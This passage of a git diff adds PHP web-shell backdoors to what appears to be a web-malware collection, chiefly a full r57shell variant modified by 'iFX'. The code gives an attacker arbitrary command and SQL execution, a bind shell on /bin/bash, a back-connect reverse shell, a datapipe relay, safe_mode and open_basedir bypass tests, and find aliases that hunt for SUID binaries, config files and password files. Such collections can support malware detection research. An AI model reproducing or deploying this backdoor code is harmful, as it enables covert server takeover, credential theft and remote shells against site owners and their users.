<b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f; + +$u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + + +echo "<PRE>\n"; +if(empty($u1p)){ +if(empty($_GET['u1p'])){ +if(empty($_POST['u1p'])){ +die("<FONT COLOR=\"RED\"><CENTER><span lang=\"ar-sa\">&#1578;&#1593;&#1583;&#1610;&#1604; &#1608;&#1578;&#1591;&#1608;&#1610;&#1585; </span>\ Mohajer22</CENTER></FONT>"); +} else { +$u1p=$_POST['u1p']; +} +} else { +$u1p=$_GET['u1p']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); + +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} + + + + + +?> + diff --git a/web-malware-collection-master/Backdoors/PHP/r57_iFX.txt b/web-malware-collection-master/Backdoors/PHP/r57_iFX.txt new file mode 100755 index 0000000..8badfc3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57_iFX.txt @@ -0,0 +1,1917 @@ +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru +/* ??????: 1.23 +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +//di modif ama pluto +//di modif lagi ama iFX + + +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = " ~Alissa~"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +/* ~~~ ?????????????? ~~~ */ + +// $auth = 1; - ?????????????? ???????? +// $auth = 0; - ?????????????? ????????? +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! +$name=''; // ????? ???????????? +$pass=''; // ?????? ???????????? + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="Modified By iFX"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://lintah-club.ueuo.com>HELLW access denied tau'!!!, soryy neeh cuy!! :D</a> : Access Denied</b>"); + } +} +$head = '<!-- ?????????? ???? --> +<html> +<head> +<title>:: The r57 shell with modified by iFX :: listening L\'Arc~en~Ciel - MilkyWay::</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +body,td,th { +color: #00FF00; +} +tr { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #97C296 1px solid; +BORDER-LEFT: #97C296 1px solid; +BORDER-BOTTOM: #000E6A 1px solid; +} +td { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #97C296 1px solid; +BORDER-LEFT: #97C296 1px solid; +BORDER-BOTTOM: #000000 1px solid; +} +.table1 { +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #97C296 0px; +BORDER-LEFT: #97C296 0px; +BORDER-BOTTOM: #333333 0px; +BACKGROUND-COLOR: #000000; +} +.td1 { +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #97C296 0px; +BORDER-LEFT: #97C296 0px; +BORDER-BOTTOM: #333333 0px; +font: 7pt Verdana; +} +.tr1 { + +BORDER-RIGHT: #333333 0px; +BORDER-TOP: #333333 0px; +BORDER-LEFT: #333333 0px; +BORDER-BOTTOM: #333333 0px; +} +table { +BORDER-RIGHT: #97C296 1px outset; +BORDER-TOP: #97C296 1px outset; +BORDER-LEFT: #97C296 1px outset; +BORDER-BOTTOM: #97C296 1px outset; +BACKGROUND-COLOR: #004F0A; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: 8pt Verdana; +color : #FFFFFF; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: 8pt Verdana; +color:#80DBEE +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #004F0A; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #00CA0B 1px solid; +BORDER-LEFT: #00CA0B 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #004F0A; +font: Fixedsys bold; +color:#E49F1F; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +background-color: #000000; +} + +A:link {COLOR: #97C296; TEXT-DECORATION: none} +A:visited { COLOR: #2BE421; TEXT-DECORATION: none} +A:active {COLOR: #000099; TEXT-DECORATION: none} +A:hover {color: #2FADD7; TEXT-DECORATION: underline} +</STYLE>'; +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +/* +????? ????? +$language='ru' - ??????? +$language='eng' - ?????????? +*/ +$language='eng'; +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Sikat..!!', +'eng_text2' =>'Running..di server', +'eng_text3' =>'Jalankan perintah', +'eng_text4' =>'Direktori Skrg', +'eng_text5' =>'Upload files ke server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Sikat', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password untuk', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current 